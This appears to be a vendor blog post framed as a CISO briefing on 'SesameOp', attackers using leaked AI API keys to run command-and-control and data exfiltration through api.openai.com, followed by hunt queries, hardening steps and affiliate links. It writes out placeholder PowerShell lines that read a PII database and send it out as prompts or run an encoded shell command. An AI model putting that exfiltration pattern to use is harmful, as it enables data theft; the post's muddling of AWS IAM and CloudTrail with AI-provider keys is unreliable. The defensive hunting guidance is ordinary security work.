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CISO Briefing: How to Detect Malicious OpenAI API Traffic: A Deep Dive into “SesameOp’s” C2 Technique — by CyberDudeBivash

By CyberDudeBivash · 01 Nov 2025 · cyberdudebivash.com · Intel on cyberbivash.blogspot.com

LinkedIn: ThreatWire cryptobivash.code.blog

AI API • C2 • DATA EXFILTRATION • EDR BYPASS

Situation: APTs (Advanced Persistent Threats) are now “Living off the Cloud.” The new TTP, “SesameOp,” isn’t a 0-day exploit. It’s a catastrophic failure of your Zero-Trust policy. Attackers are *hijacking* your “trusted” OpenAI/Claude AI API key (leaked from a developer’s GitHub) and using it as a *covert C2 and data exfiltration channel*.

This is a decision-grade CISO brief. Your DLP (Data Loss Prevention) and EDR are *blind* to this. They see “trusted” `powershell.exe` making a “trusted” HTTPS connection to `api.openai.com`. This is a “whitelisted” activity. The attacker is exfiltrating your 4TB “crown jewel” PII database, one “prompt” at a time… *and your AWS account is paying for the API calls*.

TL;DR — Attackers are using your *own* AI API key as a backdoor.

The TTP: “TruffleNet” (leaked API keys) + “SesameOp” (AI as a C2 Channel).
The Kill Chain: Leaked Key (GitHub) → Attacker gets `SYSTEM` (via phish/LPE) → Attacker *uses your key* from your *own server* → `powershell.exe` *sends your PII database to the OpenAI API as “prompts”*.
The “Zero-Trust Fail”: Your firewall *must* allow traffic to `api.openai.com`. Your EDR *trusts* `powershell.exe`. The attack is 100% “trusted” and “fileless.”
The Impact: Catastrophic PII/IP data exfiltration. A massive GDPR/DPDP fine. And you *paid* for the exfiltration.
THE ACTION: 1) AUDIT GitHub for leaked keys NOW. 2) HARDEN IAM policies with IP-whitelisting. 3) HUNT for anomalous outbound connections to AI APIs.

TTP Factbox: “SesameOp” AI C2 Channel

TTP	Component	Severity	Exploitability	Mitigation
Hardcoded Secrets (T1552)	Public GitHub Repos	Critical	Trivial (Automated Bots)	Pre-Commit Hooks
Exfil to Cloud (T1567.002)	OpenAI/Claude API	Critical	Bypasses DLP/EDR/WAF	IAM IP Whitelisting / MDR

Critical Data ExfiltrationDLP & EDR BypassCloud MisconfigurationContents

Phase 1: The “Trusted Tunnel” (Why Your DLP is Obsolete)

As a CISO, you’ve spent millions on a Data Loss Prevention (DLP) solution. It’s built on a simple premise: “Block known-bad IPs” and “Inspect traffic for keywords like ‘SSN’ or ‘confidential’.”

This TTP makes your DLP *worse than useless*.

Attackers aren’t exfiltrating to `[bad-ip-russia].com`. They are exfiltrating to `api.openai.com` or `api.anthropic.com` (Claude). Your DLP is *explicitly whitelisted* to *allow* this traffic, because your “AI productivity” teams *demand* it.

The attacker isn’t sending a “clean” file. They are `base64` encoding 1MB chunks of your 4TB database and sending it *inside the JSON payload of a “prompt”*. Your DLP *cannot* decrypt this “trusted” HTTPS traffic *and* parse the JSON *and* de-obfuscate the Base64 *and* re-assemble the file to find the PII.

Your DLP is blind. Your firewall is blind. Your Zero-Trust policy is actively *helping* the attacker by whitelisting the C2 channel.

Phase 2: The “SesameOp” Kill Chain (From GitHub to C2)

This is a CISO-level PostMortem because the kill chain is *devastatingly* simple and *invisible* to traditional tools.

Stage 1: Recon (The “Truffle Hunt”)

The attacker (a “Truffle Hunter”) uses automated scanners (like TruffleHog, git-secrets) to scan public GitHub repositories. They are looking for *leaked OpenAI API keys* (`sk-…`). Your developer, in a “moment of weakness,” hardcoded a key into a script and pushed it to their *personal* public repo.

Stage 2: Initial Access (The Internal Foothold)

This is a “chained” attack. The attacker *already* has a low-level foothold on one of your servers (e.g., from a phishing email or a vulnerable web app). They are `www-data` or a low-privilege user. They *couldn’t* exfiltrate data because your firewall blocked them.

Stage 3: The “SesameOp” Pivot (The “Trusted” C2 & Exfil)

Now, the attacker uses their “leaked” OpenAI API key. From the *inside* of your “secure” network, they run a simple PowerShell or Bash script:

Data Exfil: `powershell.exe -c “Send-Data-To-OpenAI-As-Prompt(Get-Content -Path C:\PII.db -AsByteStream, $LeakedKey)”`
C2 Command: The attacker, from *their* machine, uses the *same API key* to ask OpenAI: “What was the last prompt?” They now have your data.
C2 Response: The attacker sends a *new* prompt: “Hi! My next command is: `powershell.exe -e [base64_shell_command]`”
Fileless Execution: The attacker’s script on your *internal server* is in a loop, *asking OpenAI for its next instruction*. It receives this “response,” decodes it, and *executes the new shell command in-memory*.

This is a *full, interactive C2 channel* running over a *100% trusted, whitelisted* HTTPS connection to `api.openai.com`. Your EDR is blind. Your SOC is blind. And you are *paying* for the API calls.

Exploit Chain (Engineering)

This is a “Living off the Cloud” (LotC) & Credential Abuse TTP. The “exploit” is not a memory flaw; it’s a *logic* flaw in your Zero-Trust policy.

Trigger: `Invoke-RestMethod -Uri “api.openai.com/v1/chat/completions”`
Precondition: A *leaked OpenAI API key* (`sk-…`) from a public GitHub repo + an *internal foothold* (`powershell.exe`).
Sink (The Breach): Data exfiltrated in `messages[{“role”: “user”, “content”: “[BASE64_DATA]”}]` JSON.
Module/Build: `powershell.exe` (Trusted), `curl.exe` (Trusted), `python.exe` (Trusted).
Patch Delta: This is a *process* flaw. The “fix” is IAM IP Whitelisting on your API key and MDR Threat Hunting.

Reproduction & Lab Setup (Safe)

You *must* test your EDR’s visibility for this TTP.

Harness/Target: A sandboxed Windows 11 VM with your standard EDR agent installed.
Test: 1) Open `powershell.exe`. 2) Run this command: `Invoke-RestMethod -Uri “https://api.openai.com/v1/models” -Headers @{“Authorization”=”Bearer [YOUR_KEY]”}`.
Execution: The command will run successfully.
Result: Did your EDR/SIEM fire a P1 (Critical) alert? Or did it *silently allow* it? If it was silent, *your EDR is blind to this TTP*.
Safety Note: This proves your EDR is *whitelisting* this behavior. An attacker can replace `v1/models` with `v1/chat/completions` and use it as a C2.

Detection & Hunting Playbook

Your SOC *cannot* hunt on the *email*. It *must* hunt the *API call*. This is the *new* SOC mandate.

Telemetry: You *must* have AWS CloudTrail (for the key leak) and EDR/Firewall logs (for the exfil).
Hunt Query #1 (The #1 IOC): “Anomalous AI API Call.” This is your P1 alert. “Show me *all* connections to `api.anthropic.com` or `api.openai.com` that are *NOT* from a `chrome.exe` or `vscode.exe` process.”
Hunt Query #2 (The “Trusted” LotL): “Show me *any* `powershell.exe` or `python.exe` process making a *high-volume* or *long-duration* HTTPS connection.”
Hunt Query #3 (The Key Leak): “Show me *all* API calls (`List*`, `Get*`, `Describe*`) from *any* IP/User-Agent that is *NOT* my known `[App_Server_IP]` or `[Corporate_VPN_IP]`.” This is your P1 alert.

# EDR / SIEM Hunt Query (Pseudocode)
SELECT * FROM process_events
WHERE
  (destination_domain = 'api.anthropic.com' OR destination_domain = 'api.openai.com')
  AND
  (process_name != 'chrome.exe' AND process_name != 'msedge.exe' AND process_name != 'firefox.exe')

Mitigation & Hardening (The CISO Mandate)

This is a DevSecOps and Cloud Security failure. This is the fix.

1. Scan & Revoke (Today): Run a secret-scanner (like TruffleHog or `git-secrets`) on *all* your public and private GitHub repos *today*. **Revoke any key you find.**
2. Harden API Keys (The *Real* Fix): This is your CISO mandate. NEVER use a “God Mode” API key. All AI keys *must* be IP-Restricted. In your OpenAI/Anthropic/Cloud provider console, create a *Condition* that *only* allows that key to be used from your *known, trusted* server IPs. This makes the leaked key *useless* to an attacker.
3. Implement Pre-Commit Hooks: You *must* block the leak at the source. Mandate that all developers install a `git-secrets` pre-commit hook. This *scans* their code *before* the `git push` and *blocks* the commit if a key is found.

Audit Validation (Blue-Team)

Run this *today*. This is not a “patch”; it’s an *audit*.

# 1. Audit your code
# Install git-secrets
brew install git-secrets

# Run a scan against your *entire* codebase
git secrets --scan-all

# 2. Audit your logs (Run the Hunt Query)
# Did you find `powershell.exe` talking to OpenAI?

# 3. Test your (new) IAM Policy
# Run the "Lab Setup" test from an *external* IP.
# EXPECTED RESULT: "AccessDenied"

If you get `AccessDenied`, your “Firewall Jail” is working. If the API call *succeeds*, you are *still vulnerable*.

Recommended by CyberDudeBivash (Partner Links)

You need a layered defense. Here’s our vetted stack for this specific threat.

Kaspersky EDR
This is your *sensor*. It’s built to detect and *block* the infostealer malware on the endpoint *before* it can steal the keys from your developer’s laptop.Edureka — DevSecOps Training
This is a *developer* failure. Train your devs *now* on Secure Coding, AWS IAM, and *why* they must *never* hardcode secrets.Alibaba Cloud (Private AI)
The *real* solution. Host your *own* private, secure LLM on isolated cloud infra. Stop devs from using public AI and leaking data.

AliExpress (Hardware Keys)
*Mandate* this for all AWS/GitHub Admins. Get FIDO2/YubiKey-compatible keys. Stops the *initial* phish.TurboVPN
Your developers are remote. You *must* secure their connection to your internal network.Rewardful
Run a bug bounty program. Pay white-hats to find flaws *before* APTs do.

CyberDudeBivash Services & Apps

We don’t just report on these threats. We hunt them. We are the “human-in-the-loop” that your automated defenses are missing.

Managed Detection & Response (MDR): This is the *solution*. Our 24/7 SOC team becomes your Threat Hunters, watching your *CloudTrail* and *EDR* logs for these *exact* “anomalous AI API” TTPs.
Adversary Simulation (Red Team): This is the *proof*. We will *simulate* this “TruffleNet” & “SesameOp” TTP to *prove* your IAM policies and detection are working.
Emergency Incident Response (IR): You found a leaked key? Call us. Our 24/7 team will hunt for the attacker’s TTPs in your CloudTrail logs and eradicate them.
PhishRadar AI — Stops the phishing attacks that *initiate* the infostealer breach.
SessionShield — Protects your AWS *console* sessions from being hijacked by the *same* stolen key.

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FAQ

Q: What is “SesameOp”?
A: This is our CyberDudeBivash internal name for the TTP of using a trusted, whitelisted AI API (like OpenAI or Claude) as a covert C2 (Command & Control) and Data Exfiltration channel.

Q: We don’t use Claude, we use OpenAI. Are we safe?
A: No. This TTP is *identical* for *any* AI API. `api.openai.com` is just as “trusted” by your firewall as `api.anthropic.com`. The TTP is the same. The risk is the same.

Q: Why don’t EDRs just block `powershell.exe` from accessing the internet?
A: Because *legitimate* admin scripts and *your own applications* use PowerShell to make API calls *all the time*. Blocking it outright would *break* your business. This is why you need *behavioral* hunting (a human MDR team) to spot the *malicious* use, not a “block-all” rule.

Q: What’s the #1 action to take *today*?
A: AUDIT & HARDEN. Run `git-secrets –scan-all` (or `TruffleHog`) on *all* your repositories *today*. And go to your cloud/AI provider console *today* and apply IP-based `Condition` blocks to your most critical API keys.

Timeline & Credits

This “TruffleNet” & “SesameOp” TTP is an active, ongoing campaign.
Credit: This analysis is based on active Incident Response engagements and TTPs seen in the wild by the CyberDudeBivash threat hunting team.

References

Affiliate Disclosure: We may earn commissions from partner links at no extra cost to you. These are tools we use and trust. Opinions are independent.

CyberDudeBivash — Global Cybersecurity Apps, Services & Threat Intelligence.

cyberdudebivash.com · cyberbivash.blogspot.com · cryptobivash.code.blog

#AIsecurity #Claude #OpenAI #DataExfiltration #CovertChannel #C2 #CyberDudeBivash #MDR #ThreatHunting #EDRBypass #LotL #TruffleNet #SesameOp

Cyberdudebivash

How to Detect Malicious OpenAI API Traffic: A Deep Dive into ‘SesameOp’s’ C2 Technique

CISO Briefing: How to Detect Malicious OpenAI API Traffic: A Deep Dive into “SesameOp’s” C2 Technique — by CyberDudeBivash

Phase 1: The “Trusted Tunnel” (Why Your DLP is Obsolete)

Phase 2: The “SesameOp” Kill Chain (From GitHub to C2)

Stage 1: Recon (The “Truffle Hunt”)

Stage 2: Initial Access (The Internal Foothold)

Stage 3: The “SesameOp” Pivot (The “Trusted” C2 & Exfil)

Exploit Chain (Engineering)

Reproduction & Lab Setup (Safe)

Detection & Hunting Playbook

Mitigation & Hardening (The CISO Mandate)

Audit Validation (Blue-Team)

Recommended by CyberDudeBivash (Partner Links)

CyberDudeBivash Services & Apps

FAQ

Timeline & Credits

References

Leave a comment Cancel reply

How to Detect Malicious OpenAI API Traffic: A Deep Dive into ‘SesameOp’s’ C2 Technique

CISO Briefing: How to Detect Malicious OpenAI API Traffic: A Deep Dive into “SesameOp’s” C2 Technique — by CyberDudeBivash

Phase 1: The “Trusted Tunnel” (Why Your DLP is Obsolete)

Phase 2: The “SesameOp” Kill Chain (From GitHub to C2)

Stage 1: Recon (The “Truffle Hunt”)

Stage 2: Initial Access (The *Internal* Foothold)

Stage 3: The “SesameOp” Pivot (The “Trusted” C2 & Exfil)

Exploit Chain (Engineering)

Reproduction & Lab Setup (Safe)

Detection & Hunting Playbook

Mitigation & Hardening (The CISO Mandate)

Audit Validation (Blue-Team)

Recommended by CyberDudeBivash (Partner Links)

CyberDudeBivash Services & Apps

FAQ

Timeline & Credits

References

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Stage 2: Initial Access (The Internal Foothold)